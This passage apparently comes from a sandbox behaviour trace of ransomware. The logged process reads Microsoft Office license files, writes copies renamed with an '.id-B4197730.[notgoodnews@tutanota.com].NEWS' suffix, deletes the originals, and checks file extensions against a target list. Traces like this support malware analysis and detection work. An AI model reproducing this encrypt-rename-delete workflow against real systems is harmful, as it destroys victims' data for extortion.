lpOverlapped=0x0) returned 1 [0177.586] WriteFile (in: hFile=0x514, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x102, lpOverlapped=0x0) returned 1 [0177.586] SetEndOfFile (hFile=0x514) returned 1 [0177.587] CloseHandle (hObject=0x514) returned 1 [0177.587] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.587] SetEndOfFile (hFile=0x554) returned 1 [0177.592] CloseHandle (hObject=0x554) returned 1 [0177.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0177.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.594] lstrlenW (lpString=".doc") returned 4 [0177.594] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".docx") returned 5 [0177.594] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.594] lstrlenW (lpString=".pdf") returned 4 [0177.594] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".xls") returned 4 [0177.594] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".xlsx") returned 5 [0177.594] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.594] lstrlenW (lpString=".ppt") returned 4 [0177.594] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.594] lstrlenW (lpString=".zip") returned 4 [0177.594] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".rar") returned 4 [0177.594] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".bz2") returned 4 [0177.594] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString=".7z") returned 3 [0177.594] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.594] lstrlenW (lpString=".dbf") returned 4 [0177.594] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString=".1cd") returned 4 [0177.595] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString=".jpg") returned 4 [0177.595] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString=".doc") returned 4 [0177.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".docx") returned 5 [0177.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.595] lstrlenW (lpString=".pdf") returned 4 [0177.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".xls") returned 4 [0177.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".xlsx") returned 5 [0177.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.595] lstrlenW (lpString=".ppt") returned 4 [0177.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString=".zip") returned 4 [0177.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".rar") returned 4 [0177.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".bz2") returned 4 [0177.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.595] lstrlenW (lpString=".7z") returned 3 [0177.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.595] lstrlenW (lpString=".dbf") returned 4 [0177.595] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.596] lstrlenW (lpString=".1cd") returned 4 [0177.596] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0177.596] lstrlenW (lpString=".jpg") returned 4 [0177.596] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.596] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.596] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0177.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.597] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=20901) returned 1 [0177.597] CloseHandle (hObject=0x554) returned 1 [0177.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0177.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.598] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.598] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0177.599] GetLastError () returned 0x0 [0177.599] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0177.631] WriteFile (in: hFile=0x514, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0177.645] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.645] WriteFile (in: hFile=0x514, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x104, lpOverlapped=0x0) returned 1 [0177.645] SetEndOfFile (hFile=0x514) returned 1 [0177.645] CloseHandle (hObject=0x514) returned 1 [0177.645] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.645] SetEndOfFile (hFile=0x554) returned 1 [0177.663] CloseHandle (hObject=0x554) returned 1 [0177.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.665] lstrlenW (lpString=".doc") returned 4 [0177.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.665] lstrlenW (lpString=".docx") returned 5 [0177.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.665] lstrlenW (lpString=".pdf") returned 4 [0177.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.665] lstrlenW (lpString=".xls") returned 4 [0177.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.665] lstrlenW (lpString=".xlsx") returned 5 [0177.666] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.666] lstrlenW (lpString=".ppt") returned 4 [0177.666] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString=".zip") returned 4 [0177.666] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString=".rar") returned 4 [0177.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString=".bz2") returned 4 [0177.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString=".7z") returned 3 [0177.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString=".dbf") returned 4 [0177.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString=".1cd") returned 4 [0177.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString=".jpg") returned 4 [0177.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.666] lstrlenW (lpString=".doc") returned 4 [0177.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.666] lstrlenW (lpString=".docx") returned 5 [0177.666] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.666] lstrlenW (lpString=".pdf") returned 4 [0177.666] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString=".xls") returned 4 [0177.667] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString=".xlsx") returned 5 [0177.667] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.667] lstrlenW (lpString=".ppt") returned 4 [0177.667] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.667] lstrlenW (lpString=".zip") returned 4 [0177.667] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString=".rar") returned 4 [0177.667] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString=".bz2") returned 4 [0177.667] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString=".7z") returned 3 [0177.667] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.667] lstrlenW (lpString=".dbf") returned 4 [0177.667] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.667] lstrlenW (lpString=".1cd") returned 4 [0177.667] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0177.667] lstrlenW (lpString=".jpg") returned 4 [0177.667] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.667] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.667] lstrlenW (lpString="AccessR_Trial-ul-oob.xrm-ms") returned 27 [0177.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.669] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11591) returned 1 [0177.669] CloseHandle (hObject=0x554) returned 1 [0177.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0177.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0177.669] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.669] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0177.673] GetLastError () returned 0x0 [0177.673] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0178.077] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0178.078] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.079] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0x10a, lpOverlapped=0x0) returned 1 [0178.079] SetEndOfFile (hFile=0x544) returned 1 [0178.079] CloseHandle (hObject=0x544) returned 1 [0178.079] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.079] SetEndOfFile (hFile=0x554) returned 1 [0178.087] CloseHandle (hObject=0x554) returned 1 [0178.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 1 [0178.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.089] lstrlenW (lpString=".doc") returned 4 [0178.089] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.089] lstrlenW (lpString=".docx") returned 5 [0178.089] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.089] lstrlenW (lpString=".pdf") returned 4 [0178.089] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.089] lstrlenW (lpString=".xls") returned 4 [0178.089] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.089] lstrlenW (lpString=".xlsx") returned 5 [0178.089] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.089] lstrlenW (lpString=".ppt") returned 4 [0178.089] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.089] lstrlenW (lpString=".zip") returned 4 [0178.089] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".rar") returned 4 [0178.090] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".bz2") returned 4 [0178.090] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".7z") returned 3 [0178.090] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.090] lstrlenW (lpString=".dbf") returned 4 [0178.090] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.090] lstrlenW (lpString=".1cd") returned 4 [0178.090] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.090] lstrlenW (lpString=".jpg") returned 4 [0178.090] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.090] lstrlenW (lpString=".doc") returned 4 [0178.090] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".docx") returned 5 [0178.090] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0178.090] lstrlenW (lpString=".pdf") returned 4 [0178.090] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".xls") returned 4 [0178.090] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0178.090] lstrlenW (lpString=".xlsx") returned 5 [0178.090] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0178.091] lstrlenW (lpString=".ppt") returned 4 [0178.091] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.091] lstrlenW (lpString=".zip") returned 4 [0178.091] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString=".rar") returned 4 [0178.091] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString=".bz2") returned 4 [0178.091] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString=".7z") returned 3 [0178.091] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0178.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.091] lstrlenW (lpString=".dbf") returned 4 [0178.091] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.091] lstrlenW (lpString=".1cd") returned 4 [0178.091] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0178.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned 77 [0178.091] lstrlenW (lpString=".jpg") returned 4 [0178.091] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0178.091] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0178.091] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0178.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0178.095] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3219) returned 1 [0178.096] CloseHandle (hObject=0x554) returned 1 [0178.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0178.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0178.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0178.096] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.096] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.097] GetLastError () returned 0x0 [0178.097] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesRead=0x321fecc*=0xc93, lpOverlapped=0x0) returned 1 [0178.192] WriteFile (in: hFile=0x544, lpBuffer=0x3c6a020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, lpNumberOfBytesWritten=0x321fc94*=0xca0, lpOverlapped=0x0) returned 1 [0178.489] ReadFile (in: hFile=0x554, lpBuffer=0x3c6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c6a020*, 